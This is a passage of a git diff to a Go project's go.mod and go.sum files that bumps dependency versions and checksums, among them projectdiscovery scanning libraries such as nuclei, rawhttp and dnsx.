v1.0.0 github.com/projectdiscovery/fastdialer v0.0.16-0.20220609092737-7e3c7dcecf16 github.com/projectdiscovery/goconfig v0.0.0-20210804090219-f893ccd0c69c - github.com/projectdiscovery/httputil v0.0.0-20210816170244-86fd46bc09f5 - github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37 - github.com/projectdiscovery/sliceutil v0.0.0-20220511171050-c7d9bc5cadd9 + github.com/projectdiscovery/httputil v0.0.0-20210906072657-f3a099cb20bc + github.com/projectdiscovery/rawhttp v0.1.1 + github.com/projectdiscovery/sliceutil v0.0.0-20220625085859-c3a4ecb669f4 github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1 - github.com/projectdiscovery/wappalyzergo v0.0.52 + github.com/projectdiscovery/wappalyzergo v0.0.55 github.com/rs/xid v1.4.0 go.etcd.io/bbolt v1.3.6 // indirect ) @@ -105,7 +104,7 @@ require ( github.com/karlseguin/ccache v2.0.3+incompatible github.com/lair-framework/go-nmap v0.0.0-20191202052157-3507e0b03523 github.com/lcvvvv/gonmap v1.1.8 - github.com/lib/pq v1.10.0 + github.com/lib/pq v1.10.6 github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 github.com/masterzen/winrm v0.0.0-20220513085036-69f69afcd9e9 github.com/mfonda/simhash v0.0.0-20151007195837-79f94a1100d6 @@ -113,8 +112,9 @@ require ( github.com/olekukonko/tablewriter v0.0.5 github.com/olivere/elastic v6.2.37+incompatible github.com/projectdiscovery/folderutil v0.0.0-20220215113126-add60a1e8e08 + github.com/projectdiscovery/iputil v0.0.0-20220620153941-036d511e4097 github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84 - github.com/projectdiscovery/nuclei/v2 v2.7.5 + github.com/projectdiscovery/nuclei/v2 v2.7.6 github.com/projectdiscovery/subfinder/v2 v2.5.2 github.com/satori/go.uuid v1.2.0 github.com/shirou/gopsutil/v3 v3.22.7 @@ -126,11 +126,11 @@ require ( github.com/txthinking/socks5 v0.0.0-20220615051428-39268faee3e6 github.com/urfave/cli/v2 v2.10.3 go.mongodb.org/mongo-driver v1.9.1 - golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4 - golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5 - golang.org/x/time v0.0.0-20220411224347-583f2d630306 + golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa + golang.org/x/oauth2 v0.0.0-20220722155238-128564f6959c + golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 google.golang.org/genproto v0.0.0-20220602131408-e326c6e8e9c8 - google.golang.org/protobuf v1.28.0 + google.golang.org/protobuf v1.28.1 gopkg.in/irc.v3 v3.1.4 gorm.io/driver/sqlite v1.3.6 gorm.io/gorm v1.23.8 @@ -151,12 +151,12 @@ require ( github.com/andygrunwald/go-jira v1.15.1 // indirect github.com/antchfx/xpath v1.2.1 // indirect github.com/antlr/antlr4/runtime/Go/antlr v0.0.0-20220418222510-f25a4f6275ed // indirect - github.com/aws/aws-sdk-go v1.44.60 // indirect + github.com/aws/aws-sdk-go v1.44.77 // indirect github.com/aymerick/douceur v0.2.0 // indirect github.com/bits-and-blooms/bitset v1.2.0 // indirect github.com/bits-and-blooms/bloom/v3 v3.0.1 // indirect github.com/c4milo/unpackit v0.1.0 // indirect - github.com/caddyserver/certmagic v0.16.1 // indirect + github.com/caddyserver/certmagic v0.16.2 // indirect github.com/cespare/xxhash/v2 v2.1.2 // indirect github.com/chromedp/sysutil v1.0.0 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect @@ -171,7 +171,7 @@ require ( github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-playground/locales v0.14.0 // indirect github.com/go-playground/universal-translator v0.18.0 // indirect - github.com/go-rod/rod v0.108.1 // indirect + github.com/go-rod/rod v0.109.0 // indirect github.com/go-stack/stack v1.8.0 // indirect github.com/goburrow/cache v0.1.4 // indirect github.com/gobwas/httphead v0.1.0 // indirect @@ -212,8 +212,8 @@ require ( github.com/jinzhu/now v1.1.5 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect github.com/josharian/intern v1.0.0 // indirect - github.com/klauspost/compress v1.15.8 // indirect - github.com/klauspost/cpuid/v2 v2.0.11 // indirect + github.com/klauspost/compress v1.15.9 // indirect + github.com/klauspost/cpuid/v2 v2.1.0 // indirect github.com/klauspost/pgzip v1.2.5 // indirect github.com/leodido/go-urn v1.2.1 // indirect github.com/libdns/libdns v0.2.1 // indirect @@ -226,7 +226,7 @@ require ( github.com/mattn/go-isatty v0.0.14 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect github.com/mattn/go-sqlite3 v1.14.12 // indirect - github.com/mholt/acmez v1.0.2 // indirect + github.com/mholt/acmez v1.0.4 // indirect github.com/mholt/archiver v3.1.1+incompatible // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/nwaples/rardecode v1.1.2 // indirect @@ -237,12 +237,13 @@ require ( github.com/pelletier/go-toml/v2 v2.0.1 // indirect github.com/pierrec/lz4 v2.6.1+incompatible // indirect github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect - github.com/projectdiscovery/chaos-client v0.1.8 // indirect + github.com/projectdiscovery/chaos-client v0.2.0 // indirect github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08 // indirect github.com/projectdiscovery/interactsh v1.0.6 // indirect github.com/projectdiscovery/reflectutil v0.0.0-20210804085554-4d90952bf92f // indirect github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6 // indirect github.com/rivo/uniseg v0.2.0 // indirect + github.com/rogpeppe/go-internal v1.8.1 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca // indirect github.com/segmentio/ksuid v1.0.4 // indirect @@ -262,8 +263,8 @@ require ( github.com/ulule/deepcopier v0.0.0-20200430083143-45decc6639b6 // indirect github.com/valyala/bytebufferpool v1.0.0 // indirect github.com/valyala/fasttemplate v1.2.1 // indirect - github.com/weppos/publicsuffix-go v0.15.1-0.20210928183822-5ee35905bd95 // indirect - github.com/xanzy/go-gitlab v0.69.0 // indirect + github.com/weppos/publicsuffix-go v0.20.0 // indirect + github.com/xanzy/go-gitlab v0.72.0 // indirect github.com/xdg-go/pbkdf2 v1.0.0 // indirect github.com/xdg-go/scram v1.0.2 // indirect github.com/xdg-go/stringprep v1.0.2 // indirect @@ -274,16 +275,15 @@ require ( github.com/ysmood/gson v0.7.1 // indirect github.com/ysmood/leakless v0.8.0 // indirect github.com/yusufpapurcu/wmi v1.2.2 // indirect - github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521 // indirect - github.com/zmap/zcrypto v0.0.0-20211005224000-2d0ffdec8a9b // indirect + github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect + github.com/zmap/zcrypto v0.0.0-20220803033029-557f3e4940be // indirect go.uber.org/multierr v1.8.0 // indirect - go.uber.org/zap v1.21.0 // indirect + go.uber.org/zap v1.22.0 // indirect goftp.io/server/v2 v2.0.0 // indirect - golang.org/x/mod v0.4.2 // indirect - golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect + golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect + golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 // indirect golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect - golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 // indirect - golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df // indirect + golang.org/x/tools v0.1.12 // indirect google.golang.org/appengine v1.6.7 // indirect gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect gopkg.in/corvus-ch/zbase32.v1 v1.0.0 // indirect diff --git a/go.sum b/go.sum index f30a9ed6e..2b94652cd 100644 --- a/go.sum +++ b/go.sum @@ -116,8 +116,9 @@ github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5 github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d h1:Byv0BzEl3/e6D5CLfI0j/7hiIEtvGVFPCZ7Ei2oq8iQ= github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= -github.com/aws/aws-sdk-go v1.44.60 h1:KTTogelVR+4dWiIPl7eyxoxaJkziChON6/Y/hVfTipk= github.com/aws/aws-sdk-go v1.44.60/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo= +github.com/aws/aws-sdk-go v1.44.77 h1:m5rTfdv04/swD+vTuS2zn4NEwKX3yEJPMhiVCFDL/mU= +github.com/aws/aws-sdk-go v1.44.77/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo= github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I= github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= @@ -137,8 +138,9 @@ github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8 h1:GKTyiRCL6zVf5wWaq github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8/go.mod h1:spo1JLcs67NmW1aVLEgtA8Yy1elc+X8y5SRW1sFW4Og= github.com/c4milo/unpackit v0.1.0 h1:91pWJ6B3svZ4LOE+p3rnyucRK5fZwBdF/yQ/pcZO31I= github.com/c4milo/unpackit v0.1.0/go.mod h1:pvXCMYlSV8zwGFWMaT+PWYkAB/cvDjN2mv9r7ZRSxEo= -github.com/caddyserver/certmagic v0.16.1 h1:rdSnjcUVJojmL4M0efJ+yHXErrrijS4YYg3FuwRdJkI= github.com/caddyserver/certmagic v0.16.1/go.mod h1:jKQ5n+ViHAr6DbPwEGLTSM2vDwTO6EvCKBblBRUvvuQ= +github.com/caddyserver/certmagic v0.16.2 h1:k2n3LkkUG3aMUK/kckMuF9/0VFo+0FtMX3drPYESbmQ= +github.com/caddyserver/certmagic v0.16.2/go.mod h1:PgLIr/dSJa+WA7t7z6Je5xuS/e5A/GFCPHRuZ1QP+MQ= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= @@ -243,8 +245,9 @@ github.com/go-playground/validator/v10 v10.11.0 h1:0W+xRM511GY47Yy3bZUbJVitCNg2B github.com/go-playground/validator/v10 v10.11.0/go.mod h1:i+3WkQ1FvaUjjxh1kSvIA4dMGDBiPU55YFDl0WbKdWU= github.com/go-redis/redis v6.15.5+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA= github.com/go-rod/rod v0.91.1/go.mod h1:/W4lcZiCALPD603MnJGIvhtywP3R6yRB9EDfFfsHiiI= -github.com/go-rod/rod v0.108.1 h1:2lKs+v/+B/2pbGKZgNIRbURhduTKNDZ3PXIvTRAV2Mg= github.com/go-rod/rod v0.108.1/go.mod h1:yNvL687cwcjgebRuArQN9AStFdm8iS/e/rzImrS9Pzg= +github.com/go-rod/rod v0.109.0 h1:h16UAw8AWRTcZ2bPfk23o8L1DBW692RUJzet49XD1rk= +github.com/go-rod/rod v0.109.0/go.mod h1:GZDtmEs6RpF6kBRYpGCZXxXlKNneKVPiKOjaMbmVVjE= github.com/go-routeros/routeros v0.0.0-20210123142807-2a44d57c6730 h1:EuqwWLv/LPPjhvFqkeD2bz+FOlvw2DjvDI7vK8GVeyY= github.com/go-routeros/routeros v0.0.0-20210123142807-2a44d57c6730/go.mod h1:em1mEqFKnoeQuQP9Sg7i26yaW8o05WwcNj7yLhrXxSQ= github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= @@ -472,11 +475,13 @@ github.com/karrick/godirwalk v1.16.1/go.mod h1:j4mkqPuvaLI8mp1DroR3P6ad7cyYd4c1q github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= -github.com/klauspost/compress v1.15.8 h1:JahtItbkWjf2jzm/T+qgMxkP9EMHsqEUA6vCMGmXvhA= github.com/klauspost/compress v1.15.8/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= +github.com/klauspost/compress v1.15.9 h1:wKRjX6JRtDdrE9qwa4b/Cip7ACOshUI4smpCQanqjSY= +github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= -github.com/klauspost/cpuid/v2 v2.0.11 h1:i2lw1Pm7Yi/4O6XCSyJWqEHI2MDw2FzUK6o/D21xn2A= github.com/klauspost/cpuid/v2 v2.0.11/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c= +github.com/klauspost/cpuid/v2 v2.1.0 h1:eyi1Ad2aNJMW95zcSbmGg7Cg6cq3ADwLpMAP96d8rF0= +github.com/klauspost/cpuid/v2 v2.1.0/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= github.com/klauspost/pgzip v1.2.5 h1:qnWYvvKqedOF2ulHpMG72XQol4ILEJ8k2wwRl/Km8oE= github.com/klauspost/pgzip v1.2.5/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -497,8 +502,8 @@ github.com/lcvvvv/gonmap v1.1.8 h1:jzE+avhtSb5iSRl1xwCFHBrMXVNEHGKXlhLIiLtAYaM= github.com/lcvvvv/gonmap v1.1.8/go.mod h1:USOReUnvvGX9/3h8arU3c6ViJ0dCilM+bTwJWQI4e0A= github.com/leodido/go-urn v1.2.1 h1:BqpAaACuzVSgi/VLzGZIobT2z4v53pjosyNd9Yv6n/w= github.com/leodido/go-urn v1.2.1/go.mod h1:zt4jvISO2HfUBqxjfIshjdMTYS56ZS/qv49ictyFfxY= -github.com/lib/pq v1.10.0 h1:Zx5DJFEYQXio93kgXnQ09fXNiUKsqv4OUEu2UtGcB1E= -github.com/lib/pq v1.10.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lib/pq v1.10.6 h1:jbk+ZieJ0D7EVGJYpL9QTz7/YW6UHbmdnZWYyK5cdBs= +github.com/lib/pq v1.10.6/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/libdns/libdns v0.2.1 h1:Wu59T7wSHRgtA0cfxC+n1c/e+O3upJGWytknkmFEDis= github.com/libdns/libdns v0.2.1/go.mod h1:yQCXzk1lEZmmCPa857bnk4TsOiqYasqpyOEeSObbb40= github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= @@ -536,8 +541,9 @@ github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4 github.com/mfonda/simhash v0.0.0-20151007195837-79f94a1100d6 h1:bjfMeqxWEJ6IRUvGkiTkSwx0a6UdQJsbirRSoXogteY= github.com/mfonda/simhash v0.0.0-20151007195837-79f94a1100d6/go.mod h1:WVJJvUw/pIOcwu2O8ZzHEhmigq2jzwRNfJVRMJB7bR8= github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE= -github.com/mholt/acmez v1.0.2 h1:C8wsEBIUVi6e0DYoxqCcFuXtwc4AWXL/jgcDjF7mjVo= github.com/mholt/acmez v1.0.2/go.mod h1:8qnn8QA/Ewx8E3ZSsmscqsIjhhpxuy9vqdgbX2ceceM= +github.com/mholt/acmez v1.0.4 h1:N3cE4Pek+dSolbsofIkAYz6H1d3pE+2G0os7QHslf80= +github.com/mholt/acmez v1.0.4/go.mod h1:qFGLZ4u+ehWINeJZjzPlsnjJBCPAADWTcIqE/7DAYQY= github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU= github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= github.com/microcosm-cc/bluemonday v1.0.18/go.mod h1:Z0r70sCuXHig8YpBzCc5eGHAap2K7e/u082ZUpDRRqM= @@ -621,20 +627,23 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw= github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= -github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e h1:7bwaFH1jvtOo5ndhTQgoA349ozhX+1dc4b6tbaPnBOA= github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e/go.mod h1:/IsapnEYiWG+yEDPXp0e8NWj3npzB9Ccy9lXEUJwMZs= +github.com/projectdiscovery/blackrock v0.0.0-20210903102120-5a9d2412d21d/go.mod h1:/IsapnEYiWG+yEDPXp0e8NWj3npzB9Ccy9lXEUJwMZs= +github.com/projectdiscovery/blackrock v0.0.0-20220628111055-35616c71b2dc h1:jqZK68yPOnNNRmwuXqytl+T9EbwneEUCvMDRjLe0J04= +github.com/projectdiscovery/blackrock v0.0.0-20220628111055-35616c71b2dc/go.mod h1:5tNGQP9kOfW+X5+40pZP8aqPYLHs45nJkFaSHLxdeH8= github.com/projectdiscovery/cdncheck v0.0.4-0.20220322144854-b2d8ce308abb h1:Q7tb/p2ts+dT+v4nQpxTR0DSng2C1Hlnrw/NE4tgGZw= github.com/projectdiscovery/cdncheck v0.0.4-0.20220322144854-b2d8ce308abb/go.mod h1:EevMeCG1ogBoUJYaa0Mv9R1VUboDm/DiynId7DboKy0= -github.com/projectdiscovery/chaos-client v0.1.8 h1:wxvCuu40UGNHVUXcC0nXmSGI6vbIzFuHMll7P0PglC0= -github.com/projectdiscovery/chaos-client v0.1.8/go.mod h1:F5omaoJh/vMvWnZhKD4zFFA5ti+RPwUletwepKSyfxk= +github.com/projectdiscovery/chaos-client v0.2.0 h1:a6B0HGAUdlpU4YR0o7j70GaY/PkEdtrP9VsRacfEeng= +github.com/projectdiscovery/chaos-client v0.2.0/go.mod h1:6A43jvxrzIS93GZXUlrHfqr8jDZO4g/QCr6At1h9r2U= github.com/projectdiscovery/clistats v0.0.8 h1:tjmWb15mqsPf/yrQXVHLe2ThZX/5+mgKSfZBKWWLh20= github.com/projectdiscovery/clistats v0.0.8/go.mod h1:lV6jUHAv2bYWqrQstqW8iVIydKJhWlVaLl3Xo9ioVGg= github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345/go.mod h1:clhQmPnt35ziJW1AhJRKyu8aygXCSoyWj6dtmZBRjjc= github.com/projectdiscovery/cryptoutil v1.0.0 h1:5rQfnWDthJ5ZFcqze+rmT1N7l1HJQ6EB26MrjaYB7I0= github.com/projectdiscovery/cryptoutil v1.0.0/go.mod h1:VJvSNE8f8A1MgpjgAL2GPJSQcJa4jbdaeQJstARFrU4= -github.com/projectdiscovery/dnsx v1.0.7-0.20210927160546-05f957862698 h1:LSE8Fu47mp1VcuQ2tb7K2H3UpWdSt/OvxpPiQ7+yC/k= -github.com/projectdiscovery/dnsx v1.0.7-0.20210927160546-05f957862698/go.mod h1:KNG4N3G6/QPtv381vQU7lHCJpxz8AvCq7h4pIFDuWwQ= +github.com/projectdiscovery/dnsx v1.0.9 h1:vxwtFY3VJKlaGHMIQDhlMK85Q5rUw+d7So2v8ySM0L4= +github.com/projectdiscovery/dnsx v1.0.9/go.mod h1:qhKPLHO9uUvNGlokc3sAdGCOU7OZliiuroCpyGawkgk= github.com/projectdiscovery/fastdialer v0.0.12/go.mod h1:RkRbxqDCcCFhfNUbkzBIz/ieD4uda2JuUA4WJ+RLee0= +github.com/projectdiscovery/fastdialer v0.0.15/go.mod h1:Q28lw9oTpiZHq09uFG6YYYLUsUjsOypZ7PXWwQGBB80= github.com/projectdiscovery/fastdialer v0.0.16-0.20220609092737-7e3c7dcecf16 h1:oinl80GbA16c6Et6YxcYw/QfwsZgRE0ZswxL43/MNhY= github.com/projectdiscovery/fastdialer v0.0.16-0.20220609092737-7e3c7dcecf16/go.mod h1:/l2A7NuQPkHH4mDyScm4N9cDltPB1XMhE5y+9mt00Ak= github.com/projectdiscovery/fdmax v0.0.3 h1:FM6lv9expZ/rEEBI9tkRh6tx3DV0gtpwzdc0h7bGPqg= @@ -655,7 +664,6 @@ github.com/projectdiscovery/goflags v0.0.7/go.mod h1:Jjwsf4eEBPXDSQI2Y+6fd3dBumJ github.com/projectdiscovery/goflags v0.0.8-0.20220426153734-2ffbfbff923c/go.mod h1:uN+pHMLsWQoiZHUg/l0tqf/VdbX3+ecKfYz/H7b/+NA= github.com/projectdiscovery/goflags v0.0.8-0.20220610073650-5d31a8c159e3 h1:2cUSicd6wkd7A3P+tjjAYiPmD99FtWp4k2curJkcrJ0= github.com/projectdiscovery/goflags v0.0.8-0.20220610073650-5d31a8c159e3/go.mod h1:Np0EwqmopHDDb1cY4/NEBaC4fornMIWc6dr5yL91kzM= -github.com/projectdiscovery/gologger v1.0.0/go.mod h1:Ok+axMqK53bWNwDSU1nTNwITLYMXMdZtRc8/y1c7sWE= github.com/projectdiscovery/gologger v1.0.1/go.mod h1:Ok+axMqK53bWNwDSU1nTNwITLYMXMdZtRc8/y1c7sWE= github.com/projectdiscovery/gologger v1.1.4 h1:qWxGUq7ukHWT849uGPkagPKF3yBPYAsTtMKunQ8O2VI= github.com/projectdiscovery/gologger v1.1.4/go.mod h1:Bhb6Bdx2PV1nMaFLoXNBmHIU85iROS9y1tBuv7T5pMY= @@ -663,8 +671,8 @@ github.com/projectdiscovery/hmap v0.0.1/go.mod h1:VDEfgzkKQdq7iGTKz8Ooul0NuYHQ8q github.com/projectdiscovery/hmap v0.0.2-0.20210616215655-7b78e7f33d1f/go.mod h1:FH+MS/WNKTXJQtdRn+/Zg5WlKCiMN0Z1QUedUIuM5n8= github.com/projectdiscovery/hmap v0.0.2-0.20210917080408-0fd7bd286bfa h1:9sZWFUAshIa/ea0RKjGRuuZiS5PzYXAFjTRUnSbezr0= github.com/projectdiscovery/hmap v0.0.2-0.20210917080408-0fd7bd286bfa/go.mod h1:lV5f/PNPmCCjCN/dR317/chN9s7VG5h/xcbFfXOz8Fo= -github.com/projectdiscovery/httputil v0.0.0-20210816170244-86fd46bc09f5 h1:GzruqQhb+sj1rEuHRFLhWX8gH/tJ+sj1udRjOy9VCJo= -github.com/projectdiscovery/httputil v0.0.0-20210816170244-86fd46bc09f5/go.mod h1:BueJPSPWAX11IFS6bdAqTkekiIz5Fgco5LVc1kqO9L4= +github.com/projectdiscovery/httputil v0.0.0-20210906072657-f3a099cb20bc h1:C0L6pUvVI+sPJSBaPQJEG/HjPtg8Mgs2vEpsdrl064A= +github.com/projectdiscovery/httputil v0.0.0-20210906072657-f3a099cb20bc/go.mod h1:BueJPSPWAX11IFS6bdAqTkekiIz5Fgco5LVc1kqO9L4= github.com/projectdiscovery/interactsh v0.0.4/go.mod h1:PtJrddeBW1/LeOVgTvvnjUl3Hu/17jTkoIi8rXeEODE= github.com/projectdiscovery/interactsh v1.0.6 h1:nuJmJ9zSUiG5tcgwgtkFdXpYghuB+i+OuvohXSCPhxo= github.com/projectdiscovery/interactsh v1.0.6/go.mod h1:xyFWrqgMRJMrd19tPLdjtIOsg/kUhIAUXp+Yg+yoAvg= @@ -689,30 +697,33 @@ github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20211006155443-c0a8d61 github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84 h1:PD27xMJF6z81zKIPB6wC4ZA7vBxM4ChV3sFTYdma4/8= github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84/go.mod h1:l7yVNUvTqLvwhwnGa/T28457Y/axOoXPOPbNen/Jmpg= github.com/projectdiscovery/nuclei/v2 v2.5.1/go.mod h1:sU2qcY0MQFS0CqP1BgkR8ZnUyFhqK0BdnY6bvTKNjXY= -github.com/projectdiscovery/nuclei/v2 v2.7.5 h1:q9jAvrVy9v284+QvxR4rPZZWA8uTYQm2MlHy/+FGZ8w= github.com/projectdiscovery/nuclei/v2 v2.7.5/go.mod h1:Gi6c6b8NJMi9QO5salpFv/n3TlcERP49hCYxIiwFfQM= +github.com/projectdiscovery/nuclei/v2 v2.7.6 h1:rjjHwfPWjoA0Xp9k/de6Ln1W+diZMbIrFSDaGSF2TQU= +github.com/projectdiscovery/nuclei/v2 v2.7.6/go.mod h1:7JMjz2Knf4D0sWvQl34NEMrzBaRYEzeP9jGgqtlM0LM= github.com/projectdiscovery/nvd v1.0.9-0.20220314070650-d4a214c1f87d/go.mod h1:nGHAo7o6G4V4kscZlm488qKp/ZrZYiBoKqAQrn3X4Og= github.com/projectdiscovery/rawhttp v0.0.7/go.mod h1:PQERZAhAv7yxI/hR6hdDPgK1WTU56l204BweXrBec+0= -github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37 h1:odvvszpfUvNq5UMzUhimete71/ph+XQzzL11C/u3lUc= github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37/go.mod h1:kulxvr2aKZPB6jhq4ZQn/E+ArwRWczs1O6b1ZdcZAxo= +github.com/projectdiscovery/rawhttp v0.1.1 h1:VRpPAGwgLzKyApUbVqW2NjCMPxrjAmRkeIS+WPKwhFI= +github.com/projectdiscovery/rawhttp v0.1.1/go.mod h1:Q5PDAmKzjAjweEp0CQr9301nyxCOkzA9ImK6qLjgk+8= github.com/projectdiscovery/reflectutil v0.0.0-20210804085554-4d90952bf92f h1:HR3R/nhELwLXufUlO1ZkKVqrZl4lN1cWFBdN8RcMuLo= github.com/projectdiscovery/reflectutil v0.0.0-20210804085554-4d90952bf92f/go.mod h1:3L0WfNIcVWXIDur8k+gKDLZLWY2F+rs0SQXtcn/3AYU= github.com/projectdiscovery/retryabledns v1.0.11/go.mod h1:4sMC8HZyF01HXukRleSQYwz4870bwgb4+hTSXTMrkf4= github.com/projectdiscovery/retryabledns v1.0.12/go.mod h1:4sMC8HZyF01HXukRleSQYwz4870bwgb4+hTSXTMrkf4= github.com/projectdiscovery/retryabledns v1.0.13-0.20210916165024-76c5b76fd59a/go.mod h1:tXaLDs4n3pRZHwfa8mdXpUWe/AYDNK3HlWDjldhRbjI= -github.com/projectdiscovery/retryabledns v1.0.13-0.20210927160332-db15799e2e4d/go.mod h1:c5lCypH3Wv7PNRHFsTbmTWlOAV502VlqUmS9A/2wlNU= github.com/projectdiscovery/retryabledns v1.0.13 h1:Ogfv0fl3Nszb+Nq2S2qQmE+PJDlStVxyLkmTotMohZY= github.com/projectdiscovery/retryabledns v1.0.13/go.mod h1:EeqHcAPp0g2GljT4qkxKSAE47Dj0ZrJQ46R9ct3Muhk= github.com/projectdiscovery/retryablehttp-go v1.0.1/go.mod h1:SrN6iLZilNG1X4neq1D+SBxoqfAF4nyzvmevkTkWsek= github.com/projectdiscovery/retryablehttp-go v1.0.2/go.mod h1:dx//aY9V247qHdsRf0vdWHTBZuBQ2vm6Dq5dagxrDYI= github.com/projectdiscovery/retryablehttp-go v1.0.3-0.20220506110515-811d938bd26d h1:VR+tDkedzHIp1pGKIDcfPFt7J8KjcjxGsJvBAP6RXFQ= github.com/projectdiscovery/retryablehttp-go v1.0.3-0.20220506110515-811d938bd26d/go.mod h1:t4buiLTB0HtI+62iHfGDqQVTv/i+8OhAKwaX93TGsFE= -github.com/projectdiscovery/sliceutil v0.0.0-20220511171050-c7d9bc5cadd9 